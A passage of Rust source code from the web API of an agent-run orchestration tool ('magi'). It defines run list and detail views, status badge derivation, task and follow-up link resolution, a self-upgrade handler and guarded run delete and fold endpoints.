3601    let failed = ui.auto_failed_tag.clone();
3602    let tag = latest.tag_name.clone();
3603    tokio::spawn(async move {
3604        if let Err(e) = runner(home.clone()).await {
3605            if trigger == updater::UpgradeTrigger::Auto {
3606                *failed.lock().unwrap_or_else(PoisonError::into_inner) = Some(tag);
3607            }
3608            tracing::error!("the upgrade did not complete: {e:#}");
3609            // A failure of this attempt says nothing about a handover an
3610            // earlier request already has in flight; checked and written
3611            // under the progress lock.
3612            let _ = updater::fail_progress(&home, &format!("{e:#}"));
3613            // Release only after failure bookkeeping, before accepting a retry.
3614            spawned.store(false, std::sync::atomic::Ordering::SeqCst);
3615        }
3616    });
3617
3618    Ok((
3619        StatusCode::ACCEPTED,
3620        Json(UpgradeView {
3621            from,
3622            to: Some(latest.tag_name),
3623            detail,
3624        }),
3625    ))
3626}
3627
3628/// Replace the binary, then ask [`serve`] to hand the address over.
3629///
3630/// Separated from the handler so the 202 is already on its way, and separated
3631/// from the spawn so the successor starts only after the listener is dropped.
3632async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
3633    // `yes` and non-interactive: nobody is at a terminal, and a prompt would
3634    // hang the upgrade for as long as the process lives.
3635    crate::updater::run_self_update(true, false, true).await?;
3636    updater::log_step(&home, "binary replaced - recording the replaced stage");
3637    if let Some(mut progress) = updater::read_progress(&home) {
3638        progress.advance(updater::Stage::Replaced);
3639        updater::write_progress_logged(&home, &progress);
3640    }
3641    updater::log_step(&home, "upgrade_and_restart: signalling HANDOVER");
3642    HANDOVER.notify_one();
3643    updater::log_step(&home, "upgrade_and_restart: HANDOVER signalled");
3644    Ok(())
3645}
3646
3647/// One row in the run list.
3648///
3649/// The list route returns this rather than whole `RunState`s: the summary of a
3650/// run is a few hundred bytes and the state is megabytes, and the difference
3651/// is what makes the history usable on a mobile link.
3652#[derive(Debug, Serialize)]
3653struct RunSummary {
3654    id: String,
3655    short: String,
3656    status: String,
3657    done: bool,
3658    instruction: String,
3659    title: String,
3660    repo: String,
3661    repo_name: String,
3662    created_at: String,
3663    updated_at: String,
3664    candidates: usize,
3665    viable: usize,
3666    judges: usize,
3667    winner: Option<char>,
3668    reviews: usize,
3669    quota_losses: usize,
3670    event: Option<String>,
3671    /// The later attempt at the same task that replaced this one, if any.
3672    ///
3673    /// Two cards with one title is otherwise unreadable: this is what lets
3674    /// the deck say "superseded by 4043" on the older of the pair.
3675    superseded_by: Option<String>,
3676    /// Blocked on a question nobody has answered.
3677    ///
3678    /// Derived from the question store rather than stored on the run: an agent
3679    /// calling `magi ask` blocks mid-node, and writing a status from there
3680    /// would race the graph's own save of `run.json` and be overwritten at the
3681    /// next node boundary. Asking the store is always true and never races.
3682    waiting: bool,
3683    /// Whether the process recorded as driving this run can still be proven
3684    /// alive. The card uses a confirmed-dead non-terminal run as `stale`,
3685    /// rather than presenting its last graph node as still in flight.
3686    live: crate::run::Liveness,
3687    /// The land loop's last look at the pull request, when there is one.
3688    pr: Option<crate::run::PrRecord>,
3689    /// `status` is `"ready"`, but `[merge] mode = "none"` left it there by
3690    /// design — never picked up by the PR-polling merge watcher, unlike an
3691    /// ordinary `Ready` that may still be a live landing candidate. See
3692    /// [`RunState::unmerged_by_design`]. The front end reads this rather than
3693    /// re-deriving the same check from `status` and `merge.mode` itself.
3694    unmerged_by_design: bool,
3695    /// Derived presentation status matching [`RunDetailView::display_status`].
3696    /// Distinguishes parked runs, crashes, and waiting states from raw node statuses.
3697    #[serde(default)]
3698    display_status: String,
3699    /// What the status badge shows: `display_status`, or `superseded` for a
3700    /// non-live run a later attempt replaced. See [`run_badge_status`].
3701    #[serde(default)]
3702    badge_status: String,
3703    /// Who started the run, as the one label every surface shares; the
3704    /// "origin unknown" wording when the record predates origins.
3705    origin_label: String,
3706}
3707
3708impl RunSummary {
3709    fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
3710        Self {
3711            id: state.id.clone(),
3712            short: state.short().to_owned(),
3713            status: status_word(state.status),
3714            done: state.status.done(),
3715            unmerged_by_design: state.unmerged_by_design(),
3716            display_status: run_display_status(state, waiting, live),
3717            badge_status: run_display_status(state, waiting, live),
3718            instruction: state.instruction.clone(),
3719            title: title_from(&state.instruction, TITLE_MAX),
3720            repo: state.repo.display().to_string(),
3721            repo_name: state
3722                .repo
3723                .file_name()
3724                .map(|n| n.to_string_lossy().into_owned())
3725                .unwrap_or_default(),
3726            created_at: state.created_at.to_string(),
3727            updated_at: state.updated_at.to_string(),
3728            candidates: state.candidates.len(),
3729            viable: state.viable().len(),
3730            judges: state.config.graph.judges,
3731            winner: state.winner().map(|c| c.label),
3732            reviews: state.reviews.len(),
3733            quota_losses: state.quota.len(),
3734            event: state
3735                .verification_blocking_cause()
3736                .or_else(|| state.events.last().map(|e| e.message.clone())),
3737            waiting,
3738            live,
3739            // Filled in by the list route, which is the only place that can
3740            // see a task's other attempts.
3741            superseded_by: None,
3742            pr: state.pr.clone(),
3743            origin_label: crate::run::origin_label(state.origin.as_ref()),
3744        }
3745    }
3746}
3747
3748/// `RunStatus` as the wire spells it. Every variant is one word, so this is
3749/// the same string `serde` writes for the status inside a full run.
3750fn status_word(status: RunStatus) -> String {
3751    // `RunStatus::as_str` rather than lowercasing the `Debug` spelling: this
3752    // was a third way of naming the same statuses, and one that changed
3753    // silently with a derive.
3754    status.as_str().to_owned()
3755}
3756
3757/// The presentation status for a run, unified across summaries and details.
3758///
3759/// Distinguishes runs that stopped deliberately at a node boundary (`"parked"`)
3760/// from genuine driver crashes (`"stale"`), while preserving `"waiting"` for
3761/// runs awaiting operator answers.
3762fn run_display_status(state: &RunState, waiting: bool, live: crate::run::Liveness) -> String {
3763    if waiting {
3764        return "waiting".to_owned();
3765    }
3766    if state.unmerged_by_design() {
3767        return "unmerged".to_owned();
3768    }
3769    if !state.status.done() && live == crate::run::Liveness::Dead {
3770        // The driver claim clears this flag before saving another event.
3771        // A previous park event can therefore outlive a resumed driver.
3772        if state.parked {
3773            return "parked".to_owned();
3774        }
3775        return "stale".to_owned();
3776    }
3777    status_word(state.status)
3778}
3779
3780/// The word a run's status badge shows: `display_status`, except that a
3781/// non-terminal run which is not provably live and was replaced by a later
3782/// attempt reads `superseded`, and a confirmed-dead one reads `stale`.
3783///
3784/// Same judgement `magi show` uses (`RunState::liveness`, the task's
3785/// successor); a live driver, `Unknown` liveness and terminal runs keep their
3786/// own word, so superseded never claims more than "not live".
3787fn run_badge_status(
3788    state: &RunState,
3789    display_status: &str,
3790    live: crate::run::Liveness,
3791    superseded: bool,
3792) -> String {
3793    if state.status.done() || live == crate::run::Liveness::Live {
3794        return display_status.to_owned();
3795    }
3796    if superseded {
3797        return "superseded".to_owned();
3798    }
3799    // A dead run's `display_status` is `stale`, except that a deliberate park
3800    // and an open owner question keep their own word: neither is a crash, and
3801    // the question still needs an answer. Anything else dead reads `stale`.
3802    if live == crate::run::Liveness::Dead && !matches!(display_status, "parked" | "waiting") {
3803        return "stale".to_owned();
3804    }
3805    display_status.to_owned()
3806}
3807
3808/// `?limit=`, clamped by the handler.
3809#[derive(Debug, Deserialize)]
3810struct ListQuery {
3811    #[serde(default)]
3812    limit: Option<usize>,
3813    /// Exact ids only; an empty value requests no rows (except queue blockers).
3814    ids: Option<String>,
3815}
3816
3817impl ListQuery {
3818    fn contains(&self, id: &str) -> bool {
3819        self.ids
3820            .as_ref()
3821            .is_none_or(|ids| ids.split(',').any(|wanted| wanted == id))
3822    }
3823}
3824
3825async fn runs_list(
3826    State(ui): State<Arc<Ui>>,
3827    Query(q): Query<ListQuery>,
3828) -> ApiResult<Json<Vec<RunSummary>>> {
3829    let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
3830    blocking(move || {
3831        let (open_runs, claimed, superseded) = run_row_inputs(&ui);
3832        let states = run_ids(&ui.runs)
3833            .into_iter()
3834            // A run whose state cannot be read is skipped, not fatal: a run
3835            // killed mid-write must not blank the history of every other one.
3836            // The detail route still explains it, which is where an operator
3837            // asking "what happened to that run" ends up.
3838            .filter_map(|id| read_run(&ui.runs, &id).ok())
3839            .take(limit)
3840            .filter(|run| q.contains(&run.id));
3841        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
3842        let summaries = summarize(
3843            states,
3844            &open_runs,
3845            &claimed,
3846            &superseded,
3847            |p| probe.borrow_mut().status(p),
3848            |p| probe.borrow_mut().started_at(p),
3849        );
3850        Ok(Json(summaries))
3851    })
3852    .await
3853}
3854
3855/// Everything the per-run rows share, read once: runs with an open question,
3856/// runs a live daemon claims, and the superseded map. Asking per run re-read
3857/// every question file and the daemon status file for each of hundreds of
3858/// runs, and spawned a process probe per run on Windows.
3859fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
3860    let open_runs: HashSet<String> = ui
3861        .questions
3862        .list()
3863        .into_iter()
3864        .filter(|q| q.status.open())
3865        .map(|q| q.run)
3866        .collect();
3867    let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
3868        .into_iter()
3869        .map(|c| c.run)
3870        .collect();
3871    (open_runs, claimed, ui.queue.superseded())
3872}
3873
3874/// The rows of the run list, given everything that is shared between them.
3875///
3876/// Pure over its inputs so a test can count how often the process queries are
3877/// asked; `status_q` / `identity_q` are the queries [`RunState::liveness_with`]
3878/// takes, called at most once per run.
3879fn summarize<I, S, D>(
3880    states: I,
3881    open_runs: &HashSet<String>,
3882    claimed: &HashSet<String>,
3883    superseded: &HashMap<String, String>,
3884    mut status_q: S,
3885    mut identity_q: D,
3886) -> Vec<RunSummary>
3887where
3888    I: IntoIterator<Item = RunState>,
3889    S: FnMut(u32) -> Option<bool>,
3890    D: FnMut(u32) -> Option<String>,
3891{
3892    states
3893        .into_iter()
3894        .map(|state| {
3895            let waiting = open_runs.contains(&state.id);
3896            let live =
3897                state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
3898            let mut row = RunSummary::of(&state, waiting, live);
3899            row.superseded_by = state
3900                .pr_taken_over_by
3901                .as_ref()
3902                .or_else(|| superseded.get(&state.id))
3903                .map(String::as_str)
3904                .map(crate::run::short_of)
3905                .map(str::to_owned);
3906            row.badge_status = run_badge_status(
3907                &state,
3908                &row.display_status,
3909                live,
3910                row.superseded_by.is_some(),
3911            );
3912            row
3913        })
3914        .collect()
3915}
3916
3917/// A run as the detail route hands it to the phone.
3918///
3919/// The whole state, flattened, plus `instruction_md`: the Task panel renders
3920/// the instruction as markdown, and the raw `instruction` field this struct
3921/// still carries (unchanged) is what a client wanting the exact bytes reads
3922/// instead.
3923#[derive(Debug, Serialize)]
3924struct RunDetailView {
3925    stop_reason: Option<String>,
3926    #[serde(flatten)]
3927    state: RunState,
3928    instruction_md: Vec<md::Node>,
3929    /// Agent-written prose of the run, parsed to markdown nodes. Shapes
3930    /// mirror the records they come from, index for index; the raw strings
3931    /// stay in `state` and decide whether a block is shown at all.
3932    #[serde(flatten)]
3933    prose_md: RunProseMd,
3934    /// Whether a process is actually still driving this run: `"live"`,
3935    /// `"dead"`, or `"unknown"` — see [`crate::run::Liveness`].
3936    ///
3937    /// `state.active` (flattened in above) is only ever cleared by the
3938    /// process that populated it; a killed one leaves its last wave's
3939    /// entries behind. Carrying this alongside is what lets the phone rail
3940    /// tell "this seat is still answering" from "this seat was still
3941    /// answering when whatever was driving this run died" without a second
3942    /// route — see `ActiveSeat`'s own docs for why the entry alone is not
3943    /// proof of either. A string rather than a bool on purpose: a daemon
3944    /// claim proves `"live"`, `driver_pid` answering dead proves `"dead"`,
3945    /// and neither proven is `"unknown"` — folding that third case into
3946    /// either end of a bool is exactly the wrong call for a phone screen an
3947    /// operator uses to decide whether to wait or to act.
3948    live: crate::run::Liveness,
3949    /// Same field and meaning as [`RunSummary::unmerged_by_design`] — kept
3950    /// alongside the flattened `state` rather than inside it, since
3951    /// `RunState` has no business knowing which of its own methods a caller
3952    /// wants serialized.
3953    unmerged_by_design: bool,
3954    /// Same field and meaning as [`RunSummary::waiting`].
3955    #[serde(default)]
3956    waiting: bool,
3957    /// Same derived presentation status as [`RunSummary::display_status`].
3958    #[serde(default)]
3959    display_status: String,
3960    /// Same field and meaning as [`RunSummary::badge_status`].
3961    #[serde(default)]
3962    badge_status: String,
3963    /// Same field and meaning as [`RunSummary::done`]: whether the status is
3964    /// terminal. The client's `landView` keys on it, and the flattened state
3965    /// has no such field, so without it a finished run's stale `open` PR
3966    /// would be painted as live on the detail page.
3967    done: bool,
3968    /// Same field and meaning as [`RunSummary::superseded_by`] — the list
3969    /// route fills it from [`Queue::superseded`], the detail route from
3970    /// [`Queue::superseded_by`], and both read the same underlying task
3971    /// order. Without this the detail page could only ever show a red
3972    /// `BLOCKED`/`FAILED` chip on a run a later attempt had already finished,
3973    /// with nothing anywhere saying so — an operator opening it had no way
3974    /// to tell "this is done elsewhere" from "this still needs a retry".
3975    superseded_by: Option<String>,
3976    /// The task's current attempt, when this run is an older one — resolved
3977    /// from [`Queue::latest_attempt`] and this run's own state, not left for
3978    /// the client to derive.
3979    ///
3980    /// Three things a client cannot safely do on its own drove this onto the
3981    /// server: it has to name the chain's *current head*, not just the next
3982    /// attempt (`superseded_by` above), because an intermediate retry in a
3983    /// longer chain can itself still be unresolved; it has to resolve to a
3984    /// real id rather than a short id a client would have to guess a full id
3985    /// from, which is ambiguous the moment two runs share a suffix; and it
3986    /// has to read that head's own status directly, because whether a run
3987    /// list a client happens to have cached even contains that attempt
3988    /// depends on a page limit this route knows nothing about.
3989    latest_attempt: Option<LatestAttempt>,
3990    /// The queue task this run belongs to, so the detail page can link back
3991    /// to the task's own page. `None` for a run nobody queued (`magi run`).
3992    task: Option<TaskRef>,
3993    /// [`crate::run::Origin::label`], or the "origin unknown" wording for a
3994    /// run recorded before origins existed. `origin` itself (flattened in
3995    /// with `state`) is `null` in that case.
3996    origin_label: String,
3997    /// Each recorded pass over this run, with the cause it stopped for. Empty
3998    /// for a run from before passes were kept: its earlier passes are unknown.
3999    pass_views: Vec<PassView>,
4000}
4001
4002/// A task named from a run's detail page.
4003#[derive(Debug, Serialize)]
4004struct TaskRef {
4005    id: String,
4006    short: String,
4007    title: String,
4008    /// [`Source::label`], e.g. `chat@a1b2`.
4009    source_label: String,
4010    /// Where the task came from, when that place has a page; see [`source_link`].
4011    source_link: Option<SourceLink>,
4012    /// The task's own status (`TaskStatus::as_str`), independent of this run's.
4013    status: &'static str,
4014    attempts: usize,
4015    max_attempts: usize,
4016    /// This run is the last entry of the task's run list.
4017    is_latest: bool,
4018    /// The task's newest run, when it is not this one.
4019    latest: Option<RunBrief>,
4020    /// The run that finished a `done` task (merged, or already in the base).
4021    finished_by: Option<RunBrief>,
4022    /// The task is `done` but no run on record finished it: closed by hand.
4023    closed_by_hand: bool,
4024}
4025
4026/// The page that filed a task, as the UI links to it.
4027#[derive(Debug, PartialEq, Eq, Serialize)]
4028struct SourceLink {
4029    /// `chat` (a conversation) or `run` (a run's node).
4030    kind: &'static str,
4031    /// The full id, never the short one in the label.
4032    id: String,
4033    /// The hash route that opens it.
4034    href: String,
4035}
4036
4037/// Percent-encode everything outside the URL-unreserved set.
4038fn encode_segment(raw: &str) -> String {
4039    let mut out = String::with_capacity(raw.len());
4040    for b in raw.bytes() {
4041        if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
4042            out.push(b as char);
4043        } else {
4044            out.push_str(&format!("%{b:02X}"));
4045        }
4046    }
4047    out
4048}
4049
4050/// The one place that decides where a task's source links to. A chat
4051/// conversation opens `#/chat/<id>`, any other agent node `#/runs/<id>`;
4052/// a person or an imported issue has no page, so no link.
4053fn source_link(source: &Source) -> Option<SourceLink> {
4054    let Source::Agent { run, node } = source else {
4055        return None;
4056    };
4057    let (kind, route) = if node == crate::queue::CHAT_NODE {
4058        ("chat", "chat")
4059    } else {
4060        ("run", "runs")
4061    };
4062    Some(SourceLink {
4063        kind,
4064        id: run.clone(),
4065        href: id_links::page_href(route, run),
4066    })
4067}
4068
4069/// The parent task of a follow-up, when its file can still be read.
4070#[derive(Debug, Serialize, PartialEq)]
4071struct FollowUpParent {
4072    id: String,
4073    short: String,
4074    title: String,
4075    /// The parent's own status (`TaskStatus::as_str`).
4076    status: &'static str,
4077    href: String,
4078}
4079
4080/// The merged run a follow-up was filed from.
4081#[derive(Debug, Serialize, PartialEq)]
4082struct FollowUpRun {
4083    id: String,
4084    short: String,
4085    /// `None` when the run's record cannot be read.
4086    status: Option<&'static str>,
4087    /// `None` unless the record could be read: never a dead link.
4088    href: Option<String>,
4089}
4090
4091/// Where a follow-up task came from, resolved once per task page so the flow
4092/// chart and the detail block cannot disagree. See [`followup_origin`].
4093#[derive(Debug, Serialize, PartialEq)]
4094struct FollowUpOrigin {
4095    /// Present only when `origin_task` is set and that task still exists.
4096    parent: Option<FollowUpParent>,
4097    run: FollowUpRun,
4098    /// The merged pull request, verbatim. Not an href: the client passes it
4099    /// through `forgeUrl()` and renders text when that refuses it (the one
4100    /// exception to "the href rule is Rust's alone", since a forge URL is
4101    /// data from a record, not a route).
4102    pr: String,
4103    findings: Vec<String>,
4104    generation: u32,
4105}
4106
4107/// The one place that decides what a follow-up links to. A parent that cannot
4108/// be read (gone, or an id that names nothing) is `None`, never an error.
4109fn followup_origin(
4110    fu: &crate::queue::FollowUp,
4111    task: impl Fn(&str) -> Option<Task>,
4112    run: impl Fn(&str) -> Option<RunState>,
4113) -> FollowUpOrigin {
4114    let parent = fu
4115        .origin_task
4116        .as_deref()
4117        .and_then(task)
4118        .map(|t| FollowUpParent {
4119            short: t.short().to_owned(),
4120            href: format!("#/tasks/{}", encode_segment(&t.id)),
4121            status: t.status.as_str(),
4122            title: t.title,
4123            id: t.id,
4124        });
4125    let state = run(&fu.run);
4126    FollowUpOrigin {
4127        parent,
4128        run: FollowUpRun {
4129            short: run::short_of(&fu.run).to_owned(),
4130            status: state.as_ref().map(|s| s.status.as_str()),
4131            href: state
4132                .is_some()
4133                .then(|| format!("#/runs/{}", encode_segment(&fu.run))),
4134            id: fu.run.clone(),
4135        },
4136        pr: fu.pr.clone(),
4137        findings: fu.findings.clone(),
4138        generation: fu.generation,
4139    }
4140}
4141
4142/// Another run of the same task, as named from a run's detail page.
4143#[derive(Debug, Serialize)]
4144struct RunBrief {
4145    id: String,
4146    short: String,
4147    /// `None` when the run's record cannot be read.
4148    status: Option<&'static str>,
4149    /// The task-page wording for how that pass ended.
4150    outcome: String,
4151    /// See [`TaskRunView::badge`]; always `None` here (no liveness at hand).
4152    badge: Option<String>,
4153}
4154
4155/// The task's overall outcome as seen from `this_run`'s page, classified with
4156/// the same exits the task page's flowchart uses.
4157fn task_outcome(
4158    task: &Task,
4159    this_run: &str,
4160    max_attempts: usize,
4161    read: impl Fn(&str) -> Option<RunState>,
4162) -> TaskRef {
4163    let max_attempts = task.effective_attempt_limit(max_attempts);
4164    let history = task_history(task, read);
4165    let brief = |h: &TaskRunView| RunBrief {
4166        id: h.id.clone(),
4167        short: h.short.clone(),
4168        status: h.status,
4169        outcome: h.exit.edge_label(h.status),
4170        badge: h.badge.clone(),
4171    };
4172    let is_latest = task.runs.last().is_none_or(|r| r == this_run);
4173    let latest = if is_latest {
4174        None
4175    } else {
4176        history.last().map(brief)
4177    };
4178    let done = task.status == TaskStatus::Done;
4179    let finished_by = done
4180        .then(|| {
4181            history
4182                .iter()
4183                .rev()
4184                .find(|h| {
4185                    matches!(
4186                        h.exit,
4187                        RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
4188                    )
4189                })
4190                .map(brief)
4191        })
4192        .flatten();
4193    TaskRef {
4194        short: task.short().to_owned(),
4195        title: task.title.clone(),
4196        id: task.id.clone(),
4197        source_label: task.source.label(),
4198        source_link: source_link(&task.source),
4199        status: task.status.as_str(),
4200        attempts: task.attempts,
4201        max_attempts,
4202        is_latest,
4203        latest,
4204        closed_by_hand: done && finished_by.is_none(),
4205        finished_by,
4206    }
4207}
4208
4209/// The task's current attempt, as seen from an older one's detail page.
4210#[derive(Debug, Serialize)]
4211struct LatestAttempt {
4212    id: String,
4213    short: String,
4214    /// Whether this attempt itself settled with a result nobody needs to
4215    /// act on further. Deliberately narrow: only `Merged` and `Ready` count.
4216    /// `VerifiedNoop` is excluded on purpose — it is a candidate's own
4217    /// unconfirmed claim that no change was needed, which is exactly why it
4218    /// settles the task through `Held` rather than `Done` and still waits on
4219    /// a human to check the evidence; showing an older run as "finished
4220    /// elsewhere" on the strength of an unverified claim would bury the
4221    /// thing that still needs a look. `Blocked`/`Failed`/`Stalled` and every
4222    /// in-flight status are excluded because they are exactly the
4223    /// unresolved states this field exists to tell apart from a real finish.
4224    resolved: bool,
4225    /// The attempt's own recorded status, so the page can say where it
4226    /// stands while it is not resolved yet.
4227    status: RunStatus,
4228    /// Whether that status is terminal (nothing is still running it).
4229    done: bool,
4230}
4231
4232/// Markdown for the free-text prose of a run, parallel to `RunState`.
4233#[derive(Debug, Default, Serialize)]
4234struct RunProseMd {
4235    /// `None` when the run has no design deliberation.
4236    advice_md: Option<AdviceMd>,
4237    /// One entry per candidate: the summary.
4238    candidate_summaries_md: Vec<Vec<md::Node>>,
4239    /// One entry per review round, in `reviews` order.
4240    reviews_md: Vec<RoundMd>,
4241}
4242
4243#[derive(Debug, Default, Serialize)]
4244struct AdviceMd {
4245    synthesis: Vec<md::Node>,
4246    /// One per record; empty for a seat with no proposal.
4247    approaches: Vec<Vec<md::Node>>,
4248}
4249
4250#[derive(Debug, Default, Serialize)]
4251struct RoundMd {
4252    /// One per reviewer record.
4253    reviewers: Vec<ReviewerMd>,
4254    /// One per `reconsideration` entry: the reason.
4255    reconsideration: Vec<Vec<md::Node>>,
4256    fix: Option<FixMd>,
4257}
4258
4259#[derive(Debug, Default, Serialize)]
4260struct ReviewerMd {
4261    summary: Vec<md::Node>,
4262    /// One per finding, in recorded order (not the display order).
4263    findings: Vec<Vec<md::Node>>,
4264}
4265
4266#[derive(Debug, Default, Serialize)]
4267struct FixMd {
4268    notes: Vec<md::Node>,
4269    /// One per rejection: the argument.
4270    rejected: Vec<Vec<md::Node>>,
4271}
4272
4273/// Parse a run's agent-written prose; a pure function of the state.
4274fn run_prose_md(state: &RunState) -> RunProseMd {
4275    let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
4276    RunProseMd {
4277        advice_md: state.advice.as_ref().map(|a| AdviceMd {
4278            synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
4279            approaches: a
4280                .records
4281                .iter()
4282                .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
4283                .collect(),
4284        }),
4285        candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
4286        reviews_md: state
4287            .reviews
4288            .iter()
4289            .map(|round| RoundMd {
4290                reviewers: round
4291                    .reviews
4292                    .iter()
4293                    .map(|rec| ReviewerMd {
4294                        summary: nodes(&rec.summary),
4295                        findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
4296                    })
4297                    .collect(),
4298                reconsideration: round
4299                    .reconsideration
4300                    .iter()
4301                    .map(|rv| nodes(&rv.reason))
4302                    .collect(),
4303                fix: round.fix.as_ref().map(|fix| FixMd {
4304                    notes: nodes(&fix.notes),
4305                    rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
4306                }),
4307            })
4308            .collect(),
4309    }
4310}
4311
4312impl RunDetailView {
4313    fn of(
4314        state: RunState,
4315        waiting: bool,
4316        live: crate::run::Liveness,
4317        superseded_by: Option<String>,
4318        latest_attempt: Option<LatestAttempt>,
4319        task: Option<TaskRef>,
4320    ) -> Self {
4321        let display_status = run_display_status(&state, waiting, live);
4322        let stop_reason = crate::stop_reason::of(
4323            &state,
4324            latest_attempt.as_ref().map(|a| (a.id.as_str(), a.status)),
4325        );
4326        let badge_status = run_badge_status(&state, &display_status, live, superseded_by.is_some());
4327        Self {
4328            stop_reason,
4329            pass_views: state.passes.iter().map(|p| PassView::of(p, None)).collect(),
4330            instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
4331            prose_md: run_prose_md(&state),
4332            origin_label: crate::run::origin_label(state.origin.as_ref()),
4333            live,
4334            unmerged_by_design: state.unmerged_by_design(),
4335            waiting,
4336            display_status,
4337            badge_status,
4338            done: state.status.done(),
4339            superseded_by,
4340            latest_attempt,
4341            task,
4342            state,
4343        }
4344    }
4345}
4346
4347/// Core content needs neither the queue nor question/liveness evidence.
4348async fn run_core(
4349    State(ui): State<Arc<Ui>>,
4350    Path(id): Path<String>,
4351) -> ApiResult<Json<RunDetailView>> {
4352    blocking(move || {
4353        let id = resolve_run(&ui.runs, &id)?;
4354        let state = read_run(&ui.runs, &id)?;
4355        Ok(Json(RunDetailView::of(
4356            state,
4357            false,
4358            crate::run::Liveness::Unknown,
4359            None,
4360            None,
4361            None,
4362        )))
4363    })
4364    .await
4365}
4366
4367async fn run_detail(
4368    State(ui): State<Arc<Ui>>,
4369    Path(id): Path<String>,
4370) -> ApiResult<Json<RunDetailView>> {
4371    blocking(move || {
4372        let id = resolve_run(&ui.runs, &id)?;
4373        let state = read_run(&ui.runs, &id)?;
4374        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4375        let live = state.liveness(daemon_claims);
4376        crate::queue::record_ids(ui.questions.root(), "json")?;
4377        let waiting = ui
4378            .questions
4379            .list()
4380            .iter()
4381            .any(|q| q.run == id && q.status.open());
4382        let max_attempts = daemon::Opts::default().max_attempts;
4383
4384        let matching_task = ui.find_task_for_run(&id)?;
4385
4386        let superseded_by = state
4387            .pr_taken_over_by
4388            .clone()
4389            .or_else(|| {
4390                matching_task
4391                    .as_ref()
4392                    .and_then(|t| t.successor_of(&id).cloned())
4393            })
4394            .as_deref()
4395            .map(crate::run::short_of)
4396            .map(str::to_owned);
4397
4398        // Best-effort: an unreadable head (mid-write, or deleted) just means
4399        // this run's own status stands on its own, same as no later attempt
4400        // existing at all.
4401        let latest_attempt = matching_task
4402            .as_ref()
4403            .and_then(|t| t.runs.last().filter(|last| **last != id).cloned())
4404            .and_then(|head_id| {
4405                read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
4406                    short: head.short().to_owned(),
4407                    resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
4408                    status: head.status,
4409                    done: head.status.done(),
4410                    id: head.id,
4411                })
4412            });
4413
4414        let task = matching_task
4415            .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
4416
4417        Ok(Json(RunDetailView::of(
4418            state,
4419            waiting,
4420            live,
4421            superseded_by,
4422            latest_attempt,
4423            task,
4424        )))
4425    })
4426    .await
4427}
4428
4429/// `DELETE /api/runs/{id}`.
4430///
4431/// Remove a finished, folded run directory along with its artifacts.
4432/// Running runs and runs with unfolded candidate worktrees/branches cannot be
4433/// deleted. This never touches git worktrees or branches - except for a run
4434/// whose state this build cannot read at all, where there is no candidate
4435/// list to check and the wholesale removal `magi fold` already uses for that
4436/// case is the only meaningful "delete".
4437async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
4438    let (id, unreadable) = {
4439        let ui = Arc::clone(&ui);
4440        blocking(move || {
4441            let id = resolve_run(&ui.runs, &id)?;
4442            match read_run(&ui.runs, &id) {
4443                Ok(state) => {
4444                    let in_flight =
4445                        crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4446                    state
4447                        .ensure_can_delete(in_flight)
4448                        .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
4449                    let dir = ui.runs.join(&id);
4450                    std::fs::remove_dir_all(&dir)
4451                        .with_context(|| format!("remove run directory {}", dir.display()))?;
4452                    Ok((id, false))
4453                }
4454                Err(_) => {
4455                    // Unreadable: there is no candidate list to guard on, so
4456                    // a live daemon's claim is the only thing left to check -
4457                    // the same rule `run_fold` applies for the same reason.
4458                    if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4459                        return Err(ApiError::conflict(format!(
4460                            "run {id} is being worked on by a live daemon right now"
4461                        )));
4462                    }
4463                    Ok((id, true))
4464                }
4465            }
4466        })
4467        .await?
4468    };
4469    if unreadable {
4470        crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
4471            .await
4472            .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4473    }
4474    let ui = Arc::clone(&ui);
4475    let done = id.clone();
4476    blocking(move || {
4477        // The agent that asked died with the run, so an open question would
4478        // keep asking the operator for a decision nobody can deliver.
4479        ui.questions.abandon_for_run(
4480            &done,
4481            &format!("run {done} was deleted, so nothing is waiting for this answer"),
4482        )?;
4483        Ok(())
4484    })
4485    .await?;
4486    Ok(StatusCode::NO_CONTENT)
4487}
4488
4489/// `POST /api/runs/{id}/fold`.
4490///
4491/// Remove a run's candidate worktrees and branches, keeping its record.
4492///
4493/// This exists because the deck answered "delete this run" with *"Candidates
4494/// must be folded before deleting. Run `magi fold` first."* — a phone being
4495/// told to open a terminal, in the one product whose point is that it does
4496/// not need one. The runs an operator most wants gone are the stalled and
4497/// blocked ones, and those are exactly the runs still holding worktrees:
4498/// three of them here held 53 GB.
4499///
4500/// The winner's tree goes too. A fold is what someone asks for when they are
4501/// finished with a run, and leaving one tree behind would leave the delete
4502/// button disabled for the same reason as before.
4503///
4504/// Refused while a live daemon is working on the run, on the rule that guards
4505/// deletion: folding underneath a running agent would pull the tree it is
4506/// editing out from under it.
4507///
4508/// A run whose state this build cannot read at all falls back to
4509/// [`crate::clean::fold_unreadable`] - there is no candidate list to fold
4510/// selectively, so the whole record's worktree goes wholesale, exactly what
4511/// `magi fold` does on the command line for the same run.
